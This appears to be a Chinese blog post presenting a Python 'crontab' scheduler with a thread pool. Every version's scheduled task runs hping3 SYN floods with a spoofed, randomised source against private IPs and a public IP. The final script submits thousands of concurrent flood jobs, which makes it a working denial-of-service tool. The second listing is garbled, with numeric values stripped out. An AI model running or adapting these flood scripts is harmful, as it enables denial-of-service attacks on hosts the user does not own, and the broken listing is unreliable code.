Python模拟Linux的Crontab, 写个任务计划需求
Python模拟Linux的Crontab, 写个任务计划需求
来具体点
需求:
执行一个程序, 程序一直是运行状态, 这里假设是一个函数 当程序运行30s的时候, 需要终止程序, 可以用python, c, c++语言实现 扩展需求:
当1分钟以后, 需要重新启动程序 def process_2():
# 时间几点执行
# 执行process_1
# 开始监听--计时
# 当时间超过多少s以后, 强制结束
#(注意进程里面的任务执行进程是否还存在, 举个例子, 进程的任务是在创建一个进程, 那强制结束的是任务的进程, 而你创建的进程呢?)
pass
#!/usr/bin/env python
# -*- coding=utf-8 -*- import sys, time, multiprocessing, datetime, os # -----<自定义Error>----- #
class MyCustomError(Exception):
def __init__(self, msg=None, retcode=4999):
self.retcode = int(retcode)
try:
if not msg:
msg = "Setting time is less than the current time Error. "
except:
msg = "Unknown Error!!!"
Exception.__init__(self, self.retcode, msg) # -----<格式化时间变成时间戳>----- #
class FormatDatetime():
'''
Use method:
FormatDatetime.become_timestamp("2018-08-21 13:19:00")
''' @staticmethod
def become_timestamp(dtdt):
# 将时间类型转换成时间戳
if isinstance(dtdt, datetime.datetime):
timestamp = time.mktime(dtdt.timetuple())
return timestamp elif isinstance(dtdt, str):
if dtdt.split(" ")[1:]:
a_datetime = datetime.datetime.strptime(dtdt, "%Y-%m-%d %H:%M:%S")
timestamp = time.mktime(a_datetime.timetuple())
else:
a_datetime = datetime.datetime.strptime(dtdt, "%Y-%m-%d")
timestamp = time.mktime(a_datetime.timetuple())
return timestamp elif isinstance(dtdt, float):
return dtdt # -----<计时器>----- #
def timer(arg):
'''
use method:
timer(14) :param arg: 倒计时时间
:return: True
'''
# 倒计时时间
back_time = arg
while back_time != 0:
sys.stdout.write('\r') ##意思是打印在清空
back_time -= 1
sys.stdout.write("%s" % (int(back_time)))
sys.stdout.flush()
time.sleep(1)
return True # -----<自定义任务函数>----- #
class Tasks:
@staticmethod
def start():
ip1 = "42.93.48.16"
ip2 = "192.168.2.141"
adjure = """hping3 -c 100000 -d 120 -S -w 64 -p 57511 -a 10.10.10.10 --flood --rand-source {}""".format(ip2)
os.system(adjure) @staticmethod
def stop():
adjure = """netstat -anpo | grep hping3 | awk -F "[ /]+" '{print $7}' | xargs -i -t kill -9 {}"""
os.system(adjure) # -----<任务函数>----- #
def slow_worker():
'''
你的自定义任务, 需要执行的代码
:return:
'''
print('Starting worker')
time.sleep(0.1)
print('Finished worker')
Tasks.start() # -----<任务计划执行时间>----- #
def crontab_time(custom_time):
# custom_time = "2018-08-21 13:44:00"
date_time = FormatDatetime.become_timestamp(custom_time)
now_time = time.time()
# 余数, 有小数
remainder_data = int(date_time - now_time) if remainder_data < 0:
raise MyCustomError
else:
while remainder_data > 0:
remainder_data -= 1
time.sleep(1)
return True # -----<执行函数>----- #
def my_crontab(custom_time='', frequency=1, countdown=0):
'''
几点几分执行任务
此函数属于业务逻辑, 可以考虑再次封装
custom_time = "2018-08-21 13:19:00" 时间格式必须是这样
frequency = 1 # 频次
countdown = 0 # 倒计时多少s
:return:
'''
if custom_time:
crontab_time_status = crontab_time(custom_time)
if crontab_time_status:
for i in range(frequency):
p = multiprocessing.Process(target=slow_worker)
p.start()
if countdown:
status = timer(countdown)
if status:
p.terminate()
Tasks.stop()
else:
for i in range(frequency):
p = multiprocessing.Process(target=slow_worker)
p.start()
if countdown:
status = timer(countdown)
if status:
p.terminate()
Tasks.stop() if __name__ == '__main__':
my_crontab(frequency=1, countdown=50)
如果是批量的呢?
#!/usr/bin/env python
# -*- coding=utf- -*-
import queue
import threading
import contextlib
import sys, time, multiprocessing, datetime, os # -----<自定义Error>----- #
class MyCustomError(Exception):
def __init__(self, msg=None, retcode=):
self.retcode = int(retcode)
try:
if not msg:
msg = "Setting time is less than the current time Error. "
except:
msg = "Unknown Error!!!"
Exception.__init__(self, self.retcode, msg) # -----<格式化时间变成时间戳>----- #
class FormatDatetime():
'''
Use method:
FormatDatetime.become_timestamp("2018-08-21 13:19:00")
''' @staticmethod
def become_timestamp(dtdt):
# 将时间类型转换成时间戳
if isinstance(dtdt, datetime.datetime):
timestamp = time.mktime(dtdt.timetuple())
return timestamp elif isinstance(dtdt, str):
if dtdt.split(" ")[:]:
a_datetime = datetime.datetime.strptime(dtdt, "%Y-%m-%d %H:%M:%S")
timestamp = time.mktime(a_datetime.timetuple())
else:
a_datetime = datetime.datetime.strptime(dtdt, "%Y-%m-%d")
timestamp = time.mktime(a_datetime.timetuple())
return timestamp elif isinstance(dtdt, float):
return dtdt # -----<计时器>----- #
def timer(arg):
'''
use method:
timer() :param arg: 倒计时时间
:return: True
'''
# 倒计时时间
back_time = arg
while back_time != :
sys.stdout.write('\r') ##意思是打印在清空
back_time -=
sys.stdout.write("%s" % (int(back_time)))
sys.stdout.flush()
time.sleep()
return True # -----<自定义任务函数>----- #
class Tasks:
@staticmethod
def start():
ip1 = "42.93.48.16"
ip2 = "192.168.2.141" #
ip3 = "192.168.2.147" #
adjure = """hping3 -c 100000 -d 120 -S -w 64 -p 57511 -a 10.10.10.10 --flood --rand-source {}""".format(ip2)
os.system(adjure) @staticmethod
def stop():
adjure = """netstat -anpo | grep hping3 | awk -F "[ /]+" '{print $7}' | xargs -i -t kill -9 {}"""
os.system(adjure) # -----<任务函数>----- #
def slow_worker():
'''
你的自定义任务, 需要执行的代码
:return:
'''
print('Starting worker')
time.sleep(0.1)
print('Finished worker')
Tasks.start() # -----<任务计划执行时间>----- #
def crontab_time(custom_time):
# custom_time = "2018-08-21 13:44:00"
date_time = FormatDatetime.become_timestamp(custom_time)
now_time = time.time()
# 余数, 有小数
remainder_data = int(date_time - now_time) if remainder_data < :
raise MyCustomError
else:
while remainder_data > :
remainder_data -=
time.sleep()
return True # -----<执行函数>----- #
def my_crontab(custom_time='', frequency=, countdown=):
'''
几点几分执行任务
此函数属于业务逻辑, 可以考虑再次封装
custom_time = "2018-08-21 13:19:00" 时间格式必须是这样
frequency = # 频次
countdown = # 倒计时多少s
:return:
'''
if custom_time:
crontab_time_status = crontab_time(custom_time)
if crontab_time_status:
for i in range(frequency):
p = multiprocessing.Process(target=slow_worker)
p.start()
if countdown:
status = timer(countdown)
if status:
p.terminate()
Tasks.stop()
else:
for i in range(frequency):
p = multiprocessing.Process(target=slow_worker)
p.start()
if countdown:
status = timer(countdown)
if status:
p.terminate()
Tasks.stop() StopEvent = object() # -----<线程池>----- #
class ThreadPool(object):
def __init__(self, max_num):
self.q = queue.Queue()
self.max_num = max_num self.terminal = False
self.generate_list = []
self.free_list = [] def run(self, func, args, callback=None):
"""
线程池执行一个任务
:param func: 任务函数
:param args: 任务函数所需参数
:param callback: 任务执行失败或成功后执行的回调函数,回调函数有两个参数1、任务函数执行状态;、任务函数返回值(默认为None,即:不执行回调函数)
:return: 如果线程池已经终止,则返回True否则None
""" if len(self.free_list) == and len(self.generate_list) < self.max_num:
self.generate_thread()
w = (func, args, callback,)
self.q.put(w) def generate_thread(self):
"""
创建一个线程
"""
t = threading.Thread(target=self.call)
t.start() @contextlib.contextmanager
def worker_state(self, xxx, val):
xxx.append(val)
try:
yield
finally:
xxx.remove(val) def call(self):
"""
循环去获取任务函数并执行任务函数
"""
current_thread = threading.currentThread
self.generate_list.append(current_thread) event = self.q.get()
while event != StopEvent: func, arguments, callback = event
try:
result = func(*arguments)
status = True
except Exception as e:
status = False
result = e if callback is not None:
try:
callback(status, result)
except Exception as e:
pass if self.terminal: # False
event = StopEvent
else:
# self.free_list.append(current_thread)
# event = self.q.get()
# self.free_list.remove(current_thread)
with self.worker_state(self.free_list, current_thread):
event = self.q.get()
else:
self.generate_list.remove(current_thread) def close(self):
num = len(self.generate_list)
while num:
self.q.put(StopEvent)
num -= # 终止线程(清空队列)
def terminate(self): self.terminal = True while self.generate_list:
self.q.put(StopEvent)
self.q.empty() if __name__ == '__main__': pool = ThreadPool() for item in range():
pool.run(func=my_crontab, args=('', , )) pool.terminate()
批量
#!/usr/bin/env python
# -*- coding=utf-8 -*-
import queue
import threading
import contextlib
import sys, time, multiprocessing, datetime, os # -----<自定义Error>----- #
class MyCustomError(Exception):
def __init__(self, msg=None, retcode=4999):
self.retcode = int(retcode)
try:
if not msg:
msg = "Setting time is less than the current time Error. "
except:
msg = "Unknown Error!!!"
Exception.__init__(self, self.retcode, msg) # -----<格式化时间变成时间戳>----- #
class FormatDatetime():
'''
Use method:
FormatDatetime.become_timestamp("2018-08-21 13:19:00")
''' @staticmethod
def become_timestamp(dtdt):
# 将时间类型转换成时间戳
if isinstance(dtdt, datetime.datetime):
timestamp = time.mktime(dtdt.timetuple())
return timestamp elif isinstance(dtdt, str):
if dtdt.split(" ")[1:]:
a_datetime = datetime.datetime.strptime(dtdt, "%Y-%m-%d %H:%M:%S")
timestamp = time.mktime(a_datetime.timetuple())
else:
a_datetime = datetime.datetime.strptime(dtdt, "%Y-%m-%d")
timestamp = time.mktime(a_datetime.timetuple())
return timestamp elif isinstance(dtdt, float):
return dtdt # -----<计时器>----- #
def timer(arg):
'''
use method:
timer(14) :param arg: 倒计时时间
:return: True
'''
# 倒计时时间
back_time = arg
while back_time != 0:
sys.stdout.write('\r') ##意思是打印在清空
back_time -= 1
sys.stdout.write("%s" % (int(back_time)))
sys.stdout.flush()
time.sleep(1)
return True # -----<自定义任务函数>----- #
class Tasks:
@staticmethod
def start():
ip1 = "42.93.48.16" # 8008,8088
ip2 = "192.168.2.141" #
ip3 = "192.168.2.147" #
adjure2 = """hping3 -c 500000 -d 120 -S -w 64 -p 57511 -a 10.10.10.10 --flood --rand-source {}""".format(ip2)
adjure3 = """hping3 -c 500000 -d 120 -S -w 64 -p 8072 -a 10.10.10.10 --flood --rand-source {}""".format(ip3)
adjure1 = """hping3 -c 500000 -d 120 -S -w 64 -p 8082 -a 10.10.10.10 --flood --rand-source {}""".format(ip1)
os.system(adjure2) @staticmethod
def stop():
adjure = """netstat -anpo | grep hping3 | awk -F "[ /]+" '{print $7}' | xargs -i -t kill -9 {}"""
os.system(adjure) # -----<任务函数>----- #
def slow_worker():
'''
你的自定义任务, 需要执行的代码
:return:
'''
print('Starting worker')
time.sleep(0.1)
print('Finished worker')
Tasks.start() # -----<任务计划执行时间>----- #
def crontab_time(custom_time):
# custom_time = "2018-08-21 13:44:00"
date_time = FormatDatetime.become_timestamp(custom_time)
now_time = time.time()
# 余数, 有小数
remainder_data = int(date_time - now_time) if remainder_data < 0:
raise MyCustomError
else:
while remainder_data > 0:
remainder_data -= 1
time.sleep(1)
return True # -----<执行函数>----- #
def my_crontab(custom_time='', frequency=1, countdown=20):
'''
几点几分执行任务
此函数属于业务逻辑, 可以考虑再次封装
custom_time = "2018-08-21 13:19:00" 时间格式必须是这样
frequency = 1 # 频次
countdown = 0 # 倒计时多少s
:return:
'''
if custom_time:
crontab_time_status = crontab_time(custom_time)
if crontab_time_status:
for i in range(frequency):
p = multiprocessing.Process(target=slow_worker)
p.start()
if countdown:
status = timer(countdown)
if status:
p.terminate()
Tasks.stop()
else:
for i in range(frequency):
p = multiprocessing.Process(target=slow_worker)
p.start()
if countdown:
status = timer(countdown)
if status:
p.terminate()
Tasks.stop() StopEvent = object() # -----<线程池>----- #
class ThreadPool(object):
def __init__(self, max_num):
self.q = queue.Queue()
self.max_num = max_num self.terminal = False
self.generate_list = []
self.free_list = [] def run(self, func, args, callback=None):
"""
线程池执行一个任务
:param func: 任务函数
:param args: 任务函数所需参数
:param callback: 任务执行失败或成功后执行的回调函数,回调函数有两个参数1、任务函数执行状态;2、任务函数返回值(默认为None,即:不执行回调函数)
:return: 如果线程池已经终止,则返回True否则None
""" if len(self.free_list) == 0 and len(self.generate_list) < self.max_num:
self.generate_thread()
w = (func, args, callback,)
self.q.put(w) def generate_thread(self):
"""
创建一个线程
"""
t = threading.Thread(target=self.call)
t.start() @contextlib.contextmanager
def worker_state(self, xxx, val):
xxx.append(val)
try:
yield
finally:
xxx.remove(val) def call(self):
"""
循环去获取任务函数并执行任务函数
"""
current_thread = threading.currentThread
self.generate_list.append(current_thread) event = self.q.get()
while event != StopEvent: func, arguments, callback = event
try:
result = func(*arguments)
status = True
except Exception as e:
status = False
result = e if callback is not None:
try:
callback(status, result)
except Exception as e:
pass if self.terminal: # False
event = StopEvent
else:
# self.free_list.append(current_thread)
# event = self.q.get()
# self.free_list.remove(current_thread)
with self.worker_state(self.free_list, current_thread):
event = self.q.get()
else:
self.generate_list.remove(current_thread) def close(self):
num = len(self.generate_list)
while num:
self.q.put(StopEvent)
num -= 1 # 终止线程(清空队列)
def terminate(self): self.terminal = True while self.generate_list:
self.q.put(StopEvent)
self.q.empty() if __name__ == '__main__':
pool = ThreadPool(10) for i in range(1, 100): for item in range(3000):
pool.run(func=my_crontab, args=('', 1, 60))
time.sleep(5 * 0.5)
pool.terminate() os.system("ps -aux | grep aa.py |grep -v grep | awk '{print $2}' | xargs -i -t kill -9 {}")
再次改进后
Python模拟Linux的Crontab, 写个任务计划需求的更多相关文章
- linux使用crontab实现PHP执行计划定时任务
linux使用crontab实现PHP执行计划定时任务 前几天写过一篇文章,利用单纯的php实现定时执行任务,但是效率不佳,对于linux来说用crontab实现更加合理 首先说说cron,它是一个l ...
- Python argparse模块实现模拟 linux 的ls命令
python 模拟linux的 ls 命令 sample: python custom_ls.py -alh c:/ 选项: -a ,--all 显示所有文件,包括'.'开头的隐藏文件 -l 列表显 ...
- 使用Python获取Linux系统的各种信息
哪个Python版本? 当我提及Python,所指的就是CPython 2(准确的是2.7).我会显式提醒那些相同的代码在CPython 3 (3.3)上是不工作的,以及提供一份解释不同之处的备选代码 ...
- 使用 Python 获取 Linux 系统信息
探索platform模块 platform模块在标准库中,它有很多运行我们获得众多系统信息的函数.让我们运行Python解释器来探索它们中的一些函数,那就从platform.uname()函数开始吧: ...
- 【转】 使用 Python 获取 Linux 系统信息
在本文中,我们将会探索使用Python编程语言工具来检索Linux系统各种信息.走你. 哪个Python版本? 当我提及Python,所指的就是CPython 2(准确的是2.7).我会显式提醒那些相 ...
- Linux系统crontab定时调度Python脚本
Linux系统crontab定时调度Python脚本 一.Python脚本随Linux开机自动运行 #Python脚本:/home/edgar/auto.py #用root权限编辑以下文件:/etc/ ...
- Python实现Linux命令xxd -i功能
目录 Python实现Linux命令xxd -i功能 声明 一. Linux xxd -i功能 二. xxd -i常见用途 三. 类xxd -i功能的Python实现 Python实现Linux命令x ...
- 【Python数据分析】Python模拟登录(一) requests.Session应用
最近由于某些原因,需要用到Python模拟登录网站,但是以前对这块并不了解,而且目标网站的登录方法较为复杂, 所以一下卡在这里了,于是我决定从简单的模拟开始,逐渐深入地研究下这块. 注:本文仅为交流学 ...
- 如何让linux定时任务crontab按秒执行
如何让linux定时任务crontab按秒执行? linux定时任务crontab最小执行时间单位为分钟如果想以秒为单位执行,应该如何设置呢?思路 正常情况是在crontab中直接定义要执行的任务,现 ...
随机推荐
- create-react-app的使用及原理分析
create-react-app 是一个全局的命令行工具用来创建一个新的项目 react-scripts 是一个生成的项目所需要的开发依赖 一般我们开始创建react web应用程序的时候,要自己通过 ...
- Java 清除指定目录文件夹下文件
public static void clearFiles(String filePath){ File scFileDir = new File(filePath); File TrxFiles[] ...
- (原创)c++11改进我们的模式之改进单例模式
我会写关于c++11的一个系列的文章,会讲到如何使用c++11改进我们的程序,本次讲如何改进我们的模式,会讲到如何改进单例模式.观察者模式.访问者模式.工厂模式.命令模式等模式.通过c++11的改进, ...
- lua 的 table 处理
lua 的整体效率是很高的,其中,它的 table 实现的很巧妙为这个效率贡献很大. lua 的 table 充当了数组和映射表的双重功能,所以在实现时就考虑了这些,让 table 在做数组使用时尽量 ...
- 安装VCSA6.5(vCenter Server Appliance 6.5)
相关文章:http://www.ctoclubs.com/?p=756 一.简介 VCSA(vCenter Server Appliance 6.5),相对于Windows版本的vCenter,VCS ...
- Android studio 创建安卓项目hello
Android studio是一个非常好用的软件,只不过在使用的最开始,由于各种问题,会失败,并且新手本身就不懂的情况下,更加的懵逼. 这里我来记录一下我遇到过的一点坑. 首先,Android stu ...
- Android——继续深造——从安装Android Studio 2.0开始(详)
一.下载JDK,JRE,SDK http://jingyan.baidu.com/article/eb9f7b6d884ea7869364e8eb.html 二.配置环境变量: 我的电脑->属性 ...
- 【转】无后端(nobackend):前端优先的Web开发【译】
每个应用都由两样东西构成:该应用独有的功能和所有应用共有的功能,比方说用户注册.登录.忘记密码等.而从用户的角度出发,那些独有的功能归结起来就是用户界面以及系统的行为模式.而在视觉表象之后的功能,用户 ...
- PowerDesigner使用教程【转】
PowerDesigner使用教程 —— 概念数据模型 一.概念数据模型概述 概念数据模型也称信息模型,它以实体-联系(Entity-RelationShip,简称E-R)理论为基础,并对这 ...
- sql 表连接基本的语法
SQL连接能够分为内连接.外连接.交叉连接. 1.内连接:内连接查询操作列出与连接条件匹配的数据行,它使用比較运算符比較被连接列的列值. 1.1 select * from Table1 as a, ...